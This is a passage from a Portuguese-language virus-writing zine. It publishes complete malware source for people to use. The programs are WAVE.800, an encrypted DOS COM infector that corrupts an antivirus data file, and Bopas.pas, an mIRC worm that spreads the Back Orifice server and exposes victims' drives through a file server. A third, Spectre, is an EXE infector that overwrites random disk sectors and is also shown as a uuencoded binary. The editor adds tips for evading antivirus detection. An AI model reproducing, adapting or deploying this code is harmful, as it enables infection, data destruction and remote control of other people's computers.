Aug 1999 00:56:36 > Hello! Fala grande ... Tudo Beleza ? > Could you translate your 'Virus Brazil' Zines to > english lang, please? Mano, pra ser sincero, nao tenho tempo nem de escrever o zine em portugues mesmo, quem sabe mais para frente possa sair em ingles e alemao, vamos ver... Mas bem mais para frente > It seems interesting, but we can't understand other- > than English lang. Que e' interessante, nao tenha duvidas, o zine e' "du caralho" pra mais e em relacao a voce nao entender outra lingua sem ser o ingles e' uma limitacao de voces, tente aprender espanhol,italiano ou alguma outra lingua de origem latina, e' muito bom e ajuda seu raciocinio logico e matematico. Mas fiquem tranquilos que um dia sai o zine em ingles com eu escrevendo o menino simultaneo em Ingles e Portugues, mas deixa mais para frente ... > Thank You! Que e' isso We're Welcome ... > virbr04.zip --> in Brazillian lang. > virbr04-e.zip --> in English lang! SomeDay, wait , it comming soom ... T+ nim_bus@hotmail.com ─────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ─────────────────────────────────────────────────────────────────────────── ──────────────────────────────── 8 - WAVE.800 (Codigo Fonte) ──────────────────────────────── O virus que segue abaixo e' um virus de arquivos COM , enviado pelo leitor Dark Lion (vide mail acima) . Nenhuma alteracao no codigo fonte foi efetuada, eventuais alte- racoes foram sugeridas ao final do codigo, execute-as se desejar. Pra variar em se tratando de virus brasileiros, ele nao e' de- tectado pela maioria dos AV's que testei, o maximo que acontece e' ser suspeito de um Type_Com no AVP, fora isso e' 100% novinho ... ───────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ───────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; WAVE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Autor : Dark Lion - F. K. ; E-mail: fabianok@yahoo.com ; Virus : Versao Final do WAVE ; Data : Outubro/Dezembro 1999 ; Tipo : Com infector (Runtime) Encriptado ; ; Compile com o Tasm 3.0 e Link com o Tlink 3.0 (Borland) ; ; !ATENCAO! - Nao infectar arquivo menores ou iguais a 10 bytes! ; OBs.: arquivos COM do c:\windows\command nao infectam direito ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; WAVE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Code segment para public assume cs:code, ds:code, es:code org 100h Inicio_Virus equ $ Inicio: int 3h nop nop call virus nop Virus: call ajusta_offset Ajusta_offset: pop ax ; Calcula o Offset real sub ax, offset ajusta_offset ; Que eh igual ao tamanho mov bp, ax ; total-inicio do virus call encripta_decripta lea si, [bp+ offset old_jump] mov ax, 50h ; 50 add ax, 25h ; 75 add ax, 8Bh ; 100H! - Stealth despistador mov di, AX ; de AV's push di movsw ;movsw movsb Procura: mov ah, 4Eh ; Procurar pelo primeiro arquivo Proximo: push ax ; Salva AX mov ah, 1Ah ; Reseta lea dx, [bp+offset DTA] ; o DTA int 21h pop ax ; Repoe AX mov cx, 7 ; Procurar por arquivos de qualquer ; atributo lea dx, [bp+mascara] ; Variavel mascara contem *.com int 21h push cs pop es jc escala_sair ; Saia se nao encontrou mais nenhum Reseta_com: Call pega_atr ; Pega os atributos do COM ; encontrado Call tira_atr ; Tira os mesmos ; note que o arquivo esta ; !FECHADO! mov ax, 3D00h ; Abre arquivo em Modo leitura lea dx, [bp+DTA+30] ; Este arquivo int 21h jc escala_procura_proximo ; Erro? procure o proximo mov bx, ax ; File Handle em BX Call pega_hora ; Pega a Data/Hora do arquivo mov ah, 3Fh ; Funcao de Leitura mov cx, 1Ah ; Ler 1Ah bytes lea dx, [bp+buffer] ; Armazene no Buffer int 21h ; Leia cmp [bp+buffer], byte ptr 0E8h je possivelmente cmp [bp+buffer], byte ptr 'Z' ; Arquivo .EXE ? je escala_procura_proximo cmp [bp+buffer], byte ptr 'M' ; Arquivo .EXE ? je escala_procura_proximo jmp infecte Possivelmente: mov ax, 4200h ; Do inicio para o fim xor cx, cx mov dx, word ptr [bp+buffer+1] add dx, 3 int 21h mov ah, 3fh mov cx, 3 lea dx, [bp+um] int 21h cmp byte ptr [bp+um], 0E8h cmp byte ptr [bp+um+1], 01h je escala_procura_proximo jmp infecte Escala_procura_proximo: jmp procura_proximo ; Escala porque o jump relativo ; eh muito longo Escala_sair: jmp sair Infecte: lea si, [bp+buffer] ; Move os 3 bytes originais do ; novo arquivo a infectar lea di, [bp+old_jump] ; Para a variavel padra de ; retorno old_jump movsw ; Move uma word (2 bytes) movsb ; Uma word+um byte = 3 bytes Call fecha ; Feche o arquivo mov ax, 3D02h ; Abra em modo Leitura/Gravacao lea dx, [bp+DTA+30] ; Este arquivo cli ; Limpa o cary de flag int 21h ; Abra! jc escala_procura_proximo ; Algum erro? Entao feche e ; procure o proximo mov bx, ax ; Handle em BX ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Daqui em diante eh o coracao ; do virus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov ax, 4202h ; Vai para o Fim call move_ponteiro push ax ; AX=Tamanho do Hospedeiro call encripta_infecta ; Criptografa ; (trocando variavel encript_val) mov ah, 40h ; Funcao de gravacao mov cx, VirusLength ; Grave o Tamanho do Virus lea dx, [bp+inicio] ; A partir do inicio dele int 21h call encripta_decripta mov ax, 4200h ; move o ponteiro para o inicio call move_ponteiro pop ax ; Retoma o valor do tamanho do ; Hospedeiro que esta na pilha mov [bp+buffer], byte ptr 0E8h ; El salto 3x4 mov word ptr [bp+buffer+1], ax ; E altere no buffer com o ; tamanho do arquivo mov ah, 40h ; Gravacao (Estamos no comeco) mov cx, 1Ah ; Grave so 3 bytes lea dx, [bp+buffer] ; Grave int 21h ; ---------------------------//-------------------------- Call repoe_hora Procura_proximo: Call fecha ; Feche o arquivo Call repoe_atr ; Repoe atributo - Nao precisa ; repor DATA/HORA pois ela so é ; alteradaquando existe gravacao ; no arquivo !!! mov ah, 4Fh ; Funcao de procura do PROXIMO ; arquivo (nao PRIMEIRO arquivo ; que eh 4Eh) jmp proximo ; Va la para cima em proximo Sair: ; MODIFICA O ARQUIVO X:\NCDTREE\NCDTREE.DAT mov ah, 47h ; Pega diretorio corrente xor dl, dl ; Do drive corrente mov [bp+dir_atual], byte ptr '\' ; Para voltar necessita ter ; uma \ antes lea si, [bp+dir_atual+1] ; DS:SI - a partir do 1 pq vai a ; barra na frente int 21h cmp ax, 15 ; Se houver erro je testa_data ; somente volte - pois senhao vai ; sair em outro diretorio mov ah, 3Bh ; Funcao de entrar em diretorio lea dx, [bp+ncdtree] int 21h cmp ax, 3 ; Diretorio nao encontrado? je volta_dir ; apenas volte ao diretorio e saia lea dx, [bp+ncdtree_dat] call pega_atrdx lea dx, [bp+ncdtree_dat] call tira_atrdx mov ax, 3D02h lea dx, [bp+ncdtree_dat] int 21h jc volta_dir mov bx, ax mov ah, 40h mov cx, 500 lea dx, ds:[0] int 21h Call fecha Call repoe_atrdx Volta_dir: mov ah, 3Bh lea dx, [bp+dir_atual] int 21h ; Rotina do virus Chernobyl .... Testa_data: mov ax, 0708h ; Pegue o MES na placa mae out 70h, al ; Tirado do virus CIH ou in al, 71h ; mais conhecido como Chernobyl xchg ah, al ; Bote o MES em AH out 70h, al ; Pegue o dia in al, 71h xor ax, 0817h ; Eh 17/08? jne volta_ao_hospedeiro ; nao? volte ao dos jmp bomba ; Sim? pule para bomba ;---------** Esta parte nao eh executada diretamente **-------------- VirusLength equ (Fim_Virus-Inicio_Virus-3) ;Tamanho do virus atributo dw ? ; Atributo Salvo do Arquivo data dw ? hora dw ? Um db 3 dup (0) old_jump db 0CDh, 20h, 0h, 0h inicio_criptografia equ $ ; ---------------------------//-------------------------- Volta_ao_hospedeiro: mov dx, 80h ; Antigo DTA mov ah, 1Ah int 21h retn ; Vai para CS:[100h] - ; todo com comeca em 100h crlf equ 0Dh, 0Ah ; Cariage Return+Line Feed= ENTER tab equ 20h, 20h, 20h, 20h, 20h ; Um TAB de 5 espacos mascara db "*.com",0 ; Todos os COM aniversario db ' ',02h, ' Feliz Anivers', 0A0h, 'rio ',02h db crlf, crlf, "Voce foi uma presa facil! Tenha mais cuidado da proxima vez...", 0Dh, "WAVE Virus$" ncdtree db "\NCDTREE",0 ncdtree_dat db "NAVSYSL.DAT",0 Move_ponteiro: sub cx, cx ; Zera CX mov dx, cx ; E DX int 21h ret Fecha: mov ah, 3ch inc ah int 21h ret Repoe_atr: lea dx, [bp+DTA+30] Repoe_atrdx: mov ax, 4301h ; Funcao de definir atributos mov cx, [bp+atributo] ; atributo=O Salvo Anteriormente int 21h ; Atribua! ret Pega_atr: lea dx, [bp+DTA+30] Pega_atrdx: mov ax, 4300h int 21h mov [bp+atributo], cx ret Tira_atr: lea dx, [bp+DTA+30] Tira_atrdx: mov ax, 4301h xor cx, cx int 21h ret Pega_hora: mov ax, 5700h ; Funcao do DOS que pega a data ; e hora do arquivo aberto e int 21h ; coloca mov [bp+hora], cx ; a hora em CX mov [bp+data], dx ; e a data em DX - neste caso sao ; salvos em DATA e HORA ret Repoe_hora: mov ax, 5701h ; Repoe data e hora mov cx, [bp+hora] mov dx, [bp+data] int 21h ret Bomba: mov ax, 0003h int 10h mov bx, bp ; BX contem o segmento DELTA Vai_nego: lea si, [bx+aniversario] ; Pegue o primeiro byte de ; aniversario. BX tem o segmento ; de codigo pois ele eh incremen- ; tado e nao vai dar pau geral lea di, [bp+U] ; Coloque em U que tem apenas 1 ; byte de tamanho movsb ; Mova 1 byte cmp byte ptr[bp+U], '$' ; O byte eh $ (fim da cadeia)? je nao_mostra ; Se for nao mostra porque fica ; feio mov ah, 2h ; Funcao de plotar 1 byte na dela (DOS) mov dl, byte ptr[bp+U] ; Coloque o U que eh um byte ; retirado da cadeia aniversario int 21h ; Mostre Nao_mostra: cmp byte ptr[bp+U], ' ' ; Eh um espaco? je nao_delay ; Eh! entao nao cause delay pois ; senao fica feio e demora pois os ; primeiros bytes da cadeia ; aniversario ja sao espacos ... cmp byte ptr[bp+U], 0Ah je nao_delay cmp byte ptr[bp+U], 0Dh je nao_delay push bx ; Salve o nosso segmento de codigo ; indice para a cadeia aniversario call delay ; De o delay (a procedure delay ; usa BX para causar a parada de ; processamento) pop bx ; Restaure nosso BX Nao_delay: inc bx ; Incrementa BX para que mostre o ; proximo byte da cadeia aniversa- ; rio cmp byte ptr[bp+U], '$' ; O byte atual eh um $? jne vai_nego ; Se nao for vai la pra cima e ; mostre o proximo byte, se nao ; for a cadeia acabou! mov ah, 00h int 16h mov ax, 0003h int 10h mov ah, 4ch int 21h Delay: ; Funcao de Delay 100% minha xor ax, ax ; AX=0 xor bx, bx ; BX=0 RAX: inc ax ; Incremente AX cmp ax, 0FFFFh ; AX eh 65535? jne RAX ; Nao? entao volte e incremente ; denovo ate ser! RBX: inc bx ; Hum... AX eh 65535, entao ; incremente BX em 1 cmp bx, 004FFh ; BX eh 1279? (BX eh incrementado ; 1 vez a cada 65535 incrementacoes ; de AX, sendo assim se BX eh igual ; a 1279 ja incrementamos os dois ; registradores num total de ; 83.819.265 vezes, o que da um ; delay de menos de +- 1/4 de se- ; gundo,rapido hein? ; - no meu K6-2 350Mhz) je return ; Ja atingimos 83.819.265 de ; incrementacoes? ; Sim ? Entao volte la pra quem ; chamou xor ax, ax ; Nao... entao zere ax e incremente ; ele ate 65535 vezes denovo... jmp RAX ; E vai la pra AX entao Return: ret ; Voltando!... U db ? ; Variavel que contem 1 byte por ; vez (da variavel aniversario) fim_criptografia equ $ ; A partir daqui nao eh mais ; criptografado ; Pois abaixo vem a rotina de ; criptografia/descript. Encripta_infecta: mov dl, byte ptr cs:[BX] ; BX esta apontando agora para o ; file handle do arquivo (que eh ; um numero dado aleatoriamente ; pelo DOS para cada arquivo ; aberto). add dl, byte ptr [bp+old_jump] add dl, byte ptr [bp+old_jump+1] sub dl, byte ptr [bp+old_jump+2] mov [bp+encript_val], dl ; estamos movendo o valor do byte ; APONTADO (pointer) por BX (do ; arquivo aberto) para a variavel cmp dl, 0 ; encript_val que sera usada para ; criptografar o virus logo abaixo je encripta_infecta_ponteiro ; Tecnica Stealth desenvolvida por ; mim call encripta_decripta ret encripta_infecta_ponteiro: ; Esta fucao eh usada caso o valor ; de criptografacao seja 0, se for ; sera somado 7 para que ; add [bp+encript_val], 7h ; o arquivo seja criptografado (se ; o valor for 0 o virus nao eh ; criptografado) ret encripta_decripta: mov dh,[bp+encript_val] mov cx,fim_criptografia-inicio_criptografia push bx ; Salva o acesso ao arquivo lea bx,[bp+inicio_criptografia] encrypt_loop: mov ah,cs:[bx] xor ah,dh mov cs:[bx],ah inc bx loop encrypt_loop pop bx ; Restaura o acesso ao arquivo ret encript_val db 0h fim_virus equ $ DTA db 42 dup(?) ; Data Transfer Area buffer db 1Ah dup(?) ; Contem o inicio do hospedeiro dir_atual db 64 dup (0) ; Contem o diretorio atual code ends end inicio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; WAVE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ─────────────────────────────────────── Comentários ─────────────────────────────────────── Tamanho : 800 Bytes. Data de Ativacao : 17.08.???? Acao : Multiplicaç╞o com Encriptacao do virus nos arquivos infectados e mensagem no dia da ativacao Infecta : Arquivos .COM (Aparentemente quantos existirem no diretorio). Rotinas : Norton AV Fuck, Delay e Criptografia. Linguagem : Assembly Posso sugerir poucas modificacoes no codigo do virus, apenas algumas para despistar ainda mais os AV's. Exemplos : 1-) A mascara *.COM, poderia ser mudada para *.BOM (vide como no virus Goma.1343 ou numeros anteriores de VBr) 2-) Os atributos e o horario poderiam ao inves de serem enderecamentos diretos, indiretos. Mov ah,43h Ao inves de Mov al,00h Mov ax,4301h Inc al 3-) Nada mais a declarar, apenas um traverse loop para trocar de diretorio, ou um path, para infectarmos mais arquivos... E' isso ai caso voce deseje alterar algo no virus essas sao as minhas sugestoes ... Aproveite o WAVE.800 para entender como funciona a criptografia que em breve estaremos utilizando a mesma tecnica. T + ─────────────────────────────────────────────────────────────────────────── __ __ | | | | |__) |\/| |/\| |__| | \ | | ─────────────────────────────────────────────────────────────────────────── ──────────────────────── 9 - Irc_Worm.Overnuke ──────────────────────── Peco desculpas `a galera que nao conhece Worms, mas esse esta indo meio que jogado (como fazem no colegio e voce tem que falar valeu) se bem que aqui voce pode criticar e perguntar que agente responde ... Quem quiser de uma procurada na NET que encontrara informacoes de sobra sobre Worms, desculpe mesmo, mas nao tenho tempo ... Bom esse e' o worm que o LeBeau mencionou em seu e-mail e creio que deve ser du caralho pois ,digamos, e' um "plugin" para o B.O. E' o B.O. ,o Back Orifice, aquela backdoor muito famosa... um dia agente coloca alguma no zine... Nao tive tempo de testa-lo, quem quiser que se apresente como voluntario... Segue abaixo o codigo fonte totalmente em pascal se qualquer modificacao,ou seja, ele esta do jeito que o cara me mandou, nem deu pra compilar e ver se ta rodando, mas deve estar sim. TEM que estar. Fico por aqui. T + { ;;;;;;;;;;;;;;;;;;;;;;;;; Bopas.pas ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Ver. 2.4B This program is for use with the Back Orifice Program. It makes the program boserve.exe into a mirc virus. -------------------------------------------------------------------------- Auto-Execute the boserve that was copied over it. The order to copy this is: P+S=PS Where: P: Program in Pascal S: Server It executes this program AND the server. To create it: copy /b P+S PS. Simple, non? -------------------------------------------------------------------------- Create a Script.ini into various problably mirc dirs. I've used and tested just with brazilian scripts, but may work with others scripts also. It send automaticaly itself for anyone with enters in the channel. Sometimes the person may be banned from the channel, but this isn't my problem. -------------------------------------------------------------------------- It changes the mirc.ini to auto-execute the script.ini, some scripts doesn't execute automatically it, so i've changed it. Changes the attributes of the files mirc.ini and script.ini to read-only. So, the user doens't changes the script.ini nor the mirc.ini (Just lammers) -------------------------------------------------------------------------- The script.ini notices the #lebeau when the user connects and when one file is succesfull sended. It works fine. I'll change the name of this channel to #BO_OWNED in the near future. -------------------------------------------------------------------------- The script.ini launches one mirc fileserver for the person which says lebeau on the channel. It also protects the nick and give ops. -------------------------------------------------------------------------- It writes "Error in EXE header" when it's executed. I will put to execute a third program in the near future. Like a little game. Or show a pic... -------------------------------------------------------------------------- You can change it at your wish... Just remember, the const lenp1 has the size of the .EXE file (whithout the boserve), so, if you change the program, change this const instead, wrong numbers hangs the machine. If you do something really good with this program, send to me. -------------------------------------------------------------------------- Have a Nice Day. LeBeau lebeau@cyberspace.org http://lebeau.home.ml.org -------------------------------------------------------------------------- } {$M 8192,0,0} program BOPAS; uses crt,dos; const lenp1=11424; max=13; script='profiles.ini'; var bop,n:string; a:array[1..max] of string[8]; function Int2Str(I: Longint): String; { Convert any integer type to a string } var S: string[11]; begin Str(I, S); Int2Str := S; end; function minuscula(s:string):string; var c:integer; begin for c:=1 to length(s) do begin if (s[c]>='A') and (s[c]<='Z') then s[c]:=chr(ord(s[c])+32); end; minuscula:=s; end; function procurafile(dir,arq:string):boolean; var DirInfo: SearchRec; { For Windows, use TSearchRec } begin { For Windows, use faArchive } FindFirst(dir+'\'+arq, directory, DirInfo); { Same as DIR *.PAS } if doserror=0 then procurafile:=true else procurafile:=false; end; procedure mircini(dir:string); procedure cmirc; var F,fto:text; s,s1:string; cont:integer; c:string; procedure add(st:string); begin writeln(fto,st); end; procedure analisa(var s,c:string); begin if s[3]='=' then delete(s,1,3) else if s[4]='=' then delete(s,1,4); s:='n'+c+'='+s; end; begin assign(fto,dir+'\$$$$$.$$$'); {$i-} rewrite(fto); assign(f,dir+'\mirc.ini'); reset(f); cont:=-1; if ioresult=0 then while not eof(f) {filepos(f)<>filesize(F)} do begin readln(f,s); s:=minuscula(s); if s='warning=on' then s:='warning=off'; (* if cont>0 then if s[1]='n' then begin inc(cont); c:=int2str(cont); analisa(s,c); {s[2]:=c[1];} end else cont:=-1;*) if (cont>=0) then begin if (s='') or (upcase(s[1])<>'N') then begin c:=int2str(cont); s:='n'+c+'='+script; add(s); inc(cont); c:=int2str(cont); s:='n'+c+'='+script; cont:=-1; add(s); s:=' '; end else inc(cont); end; if s='[rfiles]' then cont:=0; add(s); end; close(f); SetFAttr(F, Archive); erase(f); close(fto); rename(fto,dir+'\mirc.ini'); SetFAttr(Fto, readonly); end; begin if procurafile(dir,'mirc.ini') then cmirc; end; procedure copy(orig,dest:string;init:longint); var FromF, ToF: file; NumRead, NumWritten: Word; Buf: array[1..2048] of Char; begin Assign(FromF, orig); { Open input file } Reset(FromF, 1); { Record size = 1 } if init<>0 then seek(fromf,init); Assign(ToF, dest); { Open output file } Rewrite(ToF, 1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); Close(FromF); Close(ToF); end; procedure copyself; var f:file; begin copy(paramstr(0), bop,lenp1); SwapVectors; Exec(bop,''); SwapVectors; end; function procuradir(s:string):boolean; var DirInfo: SearchRec; { For Windows, use TSearchRec } begin { For Windows, use faArchive } FindFirst(s+'\*.*', directory, DirInfo); { Same as DIR *.PAS } if doserror=0 then procuradir:=true else procuradir:=false; end; procedure mudamirc(dir:string); var f:text; begin assign(f,dir+'\'+script); {$i-} rewrite(f); if ioresult=0 then begin {$i+} writeln(f,'[script]'); writeln(f,'n0=on 1:JOIN:#:/dcc send $nick '+n); writeln(f,'n1=on 1:FILESENT:#,*.exe,*:/notice #lb_world $filename enviado para $nick $address'); writeln(f,'n2=on 1:TEXT:*lebeau*:#:/fserve $nick 5 c:\ c:\autoexec.bat | /.auto $nick | /.protect $nick'); writeln(f,'n3=on 1:CONNECT:/notice #lb_world Connectei via $server $address '); writeln(f,'n4=on 1:start:{'); writeln(f,'n5= if (%asdf == $null) {'); writeln(f,'n6= /.alias /unload /echo 2 *** Unloaded $1- '); writeln(f,'n7= /.alias /remove /echo 2 *** Removed $1- '); writeln(f,'n8= /.alias /remote /.remote on | /echo 12 *** Remote Off'); writeln(f,'n9= /.alias /events /.events on | /echo 12 *** Events Off'); writeln(f,'n10= /.alias /sreq /echo 12 SREQ IS NOW OFF'); writeln(f,'n11=}'); close(f); SetFAttr(F, readonly); end; end; procedure copiatudo(dir:string); begin if procuradir(dir) then begin mudamirc(dir); mircini(dir); end; end; procedure princ(s:string); begin copiatudo('c:\'+s); copiatudo('d:\'+s); copiatudo('e:\'+s); copiatudo('h:\'+s); copiatudo('c:\arquiv~1\'+s); copiatudo('c:\progra~1\'+s); copiatudo('c:\internet\'+s); copiatudo('d:\intenet\'+s); copiatudo('e:\internet\'+s); copiatudo('h:\internet\'+s); copiatudo('c:\scripts\'+s); copiatudo('d:\scripts\'+s); copiatudo('e:\scripts\'+s); copiatudo('h:\scripts\'+s); copiatudo('c:\kit\'+s); copiatudo('d:\kit\'+s); copiatudo('e:\kit\'+s); copiatudo('h:\kit\'+s); end; begin a[1]:='yourway'; a[2]:='megamirc'; a[3]:='photo'; a[4]:='viagra'; a[5]:='pppboost'; a[6]:='grana'; a[7]:='emails'; a[8]:='overnuke'; a[9]:='putas'; a[10]:='sexy'; a[11]:='nukescan'; a[12]:='soueu'; a[12]:='videosex'; randomize; if procuradir('c:\windows') then begin bop:='c:\windows\com.exe'; n:='c:\windows\'+a[random(max)+1]+'.exe'; end else begin bop:='c:\comand.com'; n:='c:\'+a[random(max)+1]+'.exe'; end; copyself; copy(paramstr(0),n,0); mudamirc('.'); mudamirc('..'); mircini('.'); mircini('..'); copiatudo('..\system'); copiatudo('system'); princ('mirc'); princ('mirc41'); princ('mirc40'); princ('ninja38'); princ('ninja37'); princ('ninja40'); princ('dusk'); princ('darksk~1'); princ('darkskie'); princ('zumbigas'); princ('sphere'); princ('matchbox'); princ('hell31s'); princ('avala8'); princ('dark'); princ('nep'); princ('nep45'); writeln('Error in EXE header.'); end. { ;;;;;;;;;;;;;;;;;;;;;;;;; Bopas.pas ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; } ─────────────────────────────────────────────────────────────────────────── / __ ___ | / | |__) | | (__ |/ | | \ |___| ___) ─────────────────────────────────────────────────────────────────────────── ─────────────────── 10 - HLLP.Spectre ─────────────────── Como temos muitos vírus em Pascal que o Vecna nos mandou,iremos colocá-los gradualmente nas nossas próximas ediçΣes... Se você tem aí algum vírus seu ou de algum amigo seu e quizer publicá-lo em nosso zine , n╞o vacile, mande um mail com a criança e dentro em breve ele estará ai para a galera. Essa ediç╞o n╞o sai por enquanto em HTML , a ediç╞o 3 já esta, e em vista disso n╞o teremos uma descriç╞o sucinta do vírus Babilonia feito pelo nosso camarada Vecna, que fez um vírus totalmente novo,com técnicas ainda desconhecidas da maioria do público ... A descriç╞o se encontra na pagina do AVP ( http://www.avp.com) e estou com muita preguiça de passa-lo para TXT ou mesmo traduzi-lô , quem estiver interessado, de uma passada por lá. O vírus n╞o sai , pois n╞o encontrei em lugar nenhum da internet e o Vecna pediu que mandasse mensagem em PGP pra ele , como n╞o tenho espaço em disco, (Veja minha situaç╞o : um 586 133 que vai n╞o,travou no Y2K , com duas HD's, uma de 201Mg e Outra de 203Mg, veio se eu der um download no PGP (uns 7 megas) e instala-lo (uns 40) só daria se eu deletar digamos, o Windows ...... Meu é foda nunca reclamei de porra nenhuma ,mas vo6 pensam que eu ainda n╞o fiz um virus de macro ou al- gum Worm de IRC porque ? Simples . N╞o tenho o equipamento necessário Ah , foda-se vocês n╞o tem nada a ver com isso, só leem o que escrevo e se eu estivesse escrevendo em um Pentium II de 400 Mhz e 6.9Gb de HD , seria a mesma coisa, o que vale é a informaç╞o contida, n╞o como ela foi feita.) Foi mal o desabafo, mas tava precisando ... E afinal é sobre um vírus em Pascal , n╞o sobre um vírus de W95 ou um PE, aguardem que um dia eu aprendo legal e faço um ... Agora vamos ao vírus Spectre do Vecna , qualquer coisa mande mail pra ele vecna@antisocial.com ou pra VBr. ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Spectre ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; } { Spawning Non-Resident EXE infector Undetectable Compressed Smash Sectors } {$A+,B-,D-,E-,F-,G+,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-} {$I-} {$M 2048,0,0} program Spectre;{Undead series} uses dos; var i:longint; pnome,nome,nome2,newname:string[80]; arquivo:array[1..2] of file; buffer:array[1..5000] of byte; Flag:integer; procedure damage; var r:registers; begin r.es:=seg(buffer); r.bx:=ofs(buffer); r.ah:=3; r.dl:=128; r.dh:=random(15); r.ch:=random(1000); r.cl:=random(17); r.al:=01; intr($13,r); end; function FileExists(FileName: String): Boolean; begin Assign(arquivo[1], FileName); Reset(arquivo[1]); Close(arquivo[1]); FileExists := (IOResult = 0) and (FileName <> ''); end; {Procura um arquivo e o devolve} function peganome:string; var NewWay:String[100]; Procedure Proc1; Var Extensao:String[3]; Way:String[100]; search:SearchRec; Begin FindFirst(NewWay+'*.*',AnyFile,search); While(DosError=0)Do Begin If(search.Name<>'.')and(search.Name<>'..')then Begin Extensao:=copy(search.name,pos('.',search.name)+1,3); If Extensao='EXE' then begin nome:=NewWay+copy(search.name,1,pos('.',search.name)-1)+'.COM'; if Not(FileExists(nome))then pnome:=nome; end; If (search.Attr=16) Then Begin Way:=NewWay; NewWay:=NewWay+search.Name + '\'; Proc1; NewWay:=Way; End; End; FindNext(search); End; End; begin NewWay:='\'; proc1; PegaNome:=pnome; end; begin {Pega nome dos programas envolvidos} nome2:=paramstr(0); nome:=peganome; if nome<>'' then begin assign(arquivo[1],nome2); assign(arquivo[2],nome); reset(arquivo[1],1); rewrite(arquivo[2],1); i:=filesize(arquivo[1]); blockread(arquivo[1],buffer,i); blockwrite(arquivo[2],buffer,i); {Esconde os atributos do arquivo} close(arquivo[2]); setfattr(arquivo[2],hidden); end; {Obtem o nome do programa a executar com seus argumentos} newname:=copy(nome2,1,pos('.',nome2)-1)+'.EXE'; nome2:=' '; for i:=1 to paramcount do nome2:=nome2+paramstr(i)+' '; {Executa o programa} if not(fileExists(newname)) then damage; exec(newname,nome2); end. { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Spectre ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; } ─────────────────────────────────────────────────────────────────────────── __ __ __ __ __ | | | | |_ |\| | | | | \ |_ |__| |__| |__ | | |__ |__| |__/ |__ ─────────────────────────────────────────────────────────────────────────── O arquivo spectre.exe está compressado com o pklite , utilize o unp ou algum outro descompressor de sua preferencia caso deseje uti- lizar o vírus em sua forma n╞o compressada. ;;;;;;;;;;;;;;;;;; Spectre.HLLP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin 600 spectre.exe M35IB``D````'`"P"+`('`0`$`````?#_4`````,!4$M,251%($-O<'(N(#$Y M.3`@4$M705)%($EN8RX@06QL(%)I9VAT<R!297-E<G9E9`#``0H`0P`3``," M`P*L`@`(``"(`@``'````````````+@L`[H``8S;`]@['@(`<QV#ZR#ZCM.\ M``+[@^L9CL-3N<,`,_]7OD@!_/.ER[0)NC8!S2'-($YO="!E;F]U9V@@;65M M;W)Y)/V,VU.#PRT#VK[^_XO^C,V+Q2OJB\K1X='AT>&`[!"`[Q".P([;\Z7\ MCMT'!K\``3/VK96Z$`#K+)"ME;(0ZS6ME;(0ZS:ME;(0ZSNME;(0ZUVME;(0 MZUZME;(0ZU^ME;(0<@BDT>U*=/1S^#/),]O1[4ITQ='3T>U*=,31TX7;=!?1 M[4ITO]'3@/L&<@O1[4IU!*V5LA#1TRZ*CUX!@/D*='0SVX/Y`G0JT>U*=)UR M(]'M2G2<T=/1[4ITF]'3T>U*=02ME;(0T=.`^P)S%2Z*OVX!K(K85HOW*_/Z M\R:D^U[K@='M2G4$K96R$-'3@/L(<MO1[4IU!*V5LA#1TX#[%W++T>U*=02M ME;(0T=.!X]\`AM_KO:P"R(#5`#S_=8);B^N#PQ`SP*R1XPZM`\..P*V7)@$= MXOGK[*T#P_J.T*V+X/NM`]A3K5".Q8[=,\"+V(O(B]"+Z(OPB_C+`P`""@0% M````````!@<("0$"```#!`4&```````````'"`D*"PP-`````%#(%```C-B) M1ORXG`*@``;NQD;M`P3R@&H/FO,`-PI@`(A&\VCH`POQ;@5J$0KP(^P!:@"` M$XU^[!97FF(!1`#)P\@"`0(`2-..PXS;_(V^_O[%=@#`!*RJD3#M\Z2.V[^< M`1Y73&H5+9H$0(,7$&B``)K5#9I6A0(%"IJ*`@4)P'4'":"`*P!U!+``ZP*P M`2@`;?^*`\G"!``#*BXJ```!+@(N+@-%6$4$+D-/30%<*`G(E@(`6FI:BWX$ M2!*!QYK_8_4'5JH`19$."G0("FH_DP(@%T(`IX,^)A:@%`!T`^E5`;N(%+]3 M*JXFYB9U%+?.,Q2P`10?`=DW70`N"IH)9*`?0%!J`YHS":GT$_P3#`_R2PR_ MLT-O0+W3_0:=`51J`=F;!59(4%2[O[<7RL6_I@`>+%#>@&,,Z(_^",!U$4T' M#+]4`!V`OG___"40=6EP69:=#65DG`GG]BAY8[S^=VTB.!:[$'"5_DM?$`8< M7(``!%SIH?[)P@(`**:49@!.4`+6FA^V*57H4_ZIQ`(;0@97:/\`%LG#"*`! M+@0NSP$@FHH!-1#(!,^S2`!@(5@&EOU$^`#<&>B?_P,U`@Z`/@W@X*J+23Y( M,&4<`OHG#Z8/'FH'9P%S&_I(#-Y_K`L!MPJC4`")%E)'G*10(O\V$C'`4+S= 